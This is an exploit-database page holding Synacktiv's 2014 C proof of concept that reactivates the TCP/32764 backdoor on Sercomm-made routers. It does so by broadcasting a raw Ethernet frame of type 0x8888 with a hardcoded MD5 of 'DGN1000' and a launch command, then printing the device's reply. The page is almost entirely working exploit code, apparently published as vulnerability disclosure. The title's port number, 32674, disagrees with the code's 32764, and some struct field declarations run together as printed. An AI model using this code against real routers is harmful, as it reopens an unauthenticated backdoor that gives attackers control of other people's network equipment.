Sercomm TCP/32674 – Backdoor Reactivation

  • 作者: Synacktiv
    日期: 2014-04-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/32938/
  • /***************************************
    * PoC to reactivate Sercomm TCP/32674 backdoor
    * See http://www.synacktiv.com/ressources/TCP32764_backdoor_again.pdf
    * Eloi Vanderbeken - Synacktiv
    * 
    * THIS SOFTWARE IS PROVIDED BY SYNACKTIV ''AS IS'' AND ANY
    * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    * DISCLAIMED. IN NO EVENT SHALL SYNACKTIV BE LIABLE FOR ANY
    * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
    * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
    * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
    * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
    * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
    * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    * 
    * PoC based on Wilmer van der Gaast's code 
    * http://wiki.openwrt.org/_media/toh/netgear/dg834.g.v4/nftp.c
    ***************************************/
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <string.h>
    #include <sys/ioctl.h>
    #include <sys/socket.h>
    #include <linux/if_ether.h>
    #include <linux/if_packet.h>
    #include <linux/if_arp.h>
    #include <arpa/inet.h>
    
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    #define ETH_P_NFTP		0x8888
    
    enum backdoor_command {
    PING_BACKDOOR = 0x200,
    SCFGMGR_LAUNCH,
    SET_IP
    };
    
    struct ether_header
    {
    unsigned char ether_dhost[ETH_ALEN];
    unsigned char ether_shost[ETH_ALEN];
    unsigned short ether_type;
    } eth;
    
    struct raw_packet {
    	struct ether_header header;
    	uint16_ttype;
    	uint16_tsequence;
    	uint16_toffset;
    	uint16_tchunk;
    	uint16_tpayload_len;
    	uint8_t payload[528];
    };
    
    int main(int argc, char *argv[])
    {
    	int sockfd, res, i, len;
    	char src_mac[ETH_ALEN];
    	struct ifreq iface;
    	struct sockaddr_ll socket_address;
    struct raw_packet packet;
    
    memset(&packet, 0, sizeof(packet));
    
    	if (argc < 2)
    	{
    		fprintf(stderr, "usage : %s [IFNAME]\n", argv[0]);
    		exit(1);
    	}
    
    	sockfd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    	if (sockfd == -1) 
    	{
    		if(geteuid() != 0) 
    		{
    			fprintf(stderr, "You should probably run this program as root.\n");
    		}
    		perror("socket");
    		exit(1);
    	}
    seteuid(getuid());
    
    	strncpy(iface.ifr_name, argv[1], IFNAMSIZ);
    	res = ioctl(sockfd, SIOCGIFHWADDR, &iface);
    	if(res < 0)
    	{
    		perror("ioctl");
    		exit(1);
    	}
    	memcpy(src_mac, iface.ifr_hwaddr.sa_data, ETH_ALEN);
    
    
    	res = ioctl(sockfd, SIOCGIFINDEX, &iface);
    	if(res < 0)
    {
    		perror("ioctl");
    		exit(1);
    	}
    
    // set src mac
    memcpy(packet.header.ether_shost, src_mac, ETH_ALEN);
    // broadcast
    memset(packet.header.ether_dhost, 0xFF, ETH_ALEN);
    // MD5("DGN1000")
    memcpy(packet.payload, "\x45\xD1\xBB\x33\x9B\x07\xA6\x61\x8B\x21\x14\xDB\xC0\xD7\x78\x3E", 0x10);
    packet.payload_len = htole16(0x10);
    // ethernet packet type = 0x8888
    packet.header.ether_type = htons(ETH_P_NFTP);
    // launch TCP/32764 backdoor
    packet.type = htole16(SCFGMGR_LAUNCH);
    
    socket_address.sll_family = PF_PACKET;
    socket_address.sll_protocol = htons(ETH_P_NFTP);
    socket_address.sll_ifindex= iface.ifr_ifindex;
    socket_address.sll_hatype = ARPHRD_ETHER;
    socket_address.sll_pkttype= PACKET_OTHERHOST;
    // broadcast
    socket_address.sll_halen = ETH_ALEN;
    memset(socket_address.sll_addr, 0xFF, ETH_ALEN);
    
    res = sendto(sockfd, &packet, 0x10 + 24, 0, (struct sockaddr *)&socket_address, sizeof(socket_address));
    if (res == -1)
    {
    perror("sendto");
    exit(1);
    }
    
    do {
    memset(&packet, 0, sizeof(packet));
    res = recvfrom(sockfd, &packet, sizeof(packet), 0, NULL, NULL);
    if (res == -1) 
    {
    perror("recvfrom");
    exit(1);
    }
    } while (ntohs(packet.header.ether_type) != ETH_P_NFTP);
    
    if (res < sizeof(packet) - sizeof(packet.payload))
    {
    fprintf(stderr, "packet is too short: %d bytes\n", res);
    exit(1);
    }
    
    len = be16toh(packet.payload_len); // SerComm has a real problem with endianness
    printf("received packet: %d bytes (payload len = %d) from ", res, len);
    for (i = 0; i < ETH_ALEN; i++)
    printf("%02X%c", packet.header.ether_shost[i], i == ETH_ALEN-1 ? '\n' : ':');
    
    for (i = 0; (i < len) && (i < sizeof(packet.payload)); i++)
    {
    printf("%02X ", packet.payload[i]);
    if ((i+1) % 16 == 0)
    printf("\n");
    }
    printf("\n");
    	return 0;
    }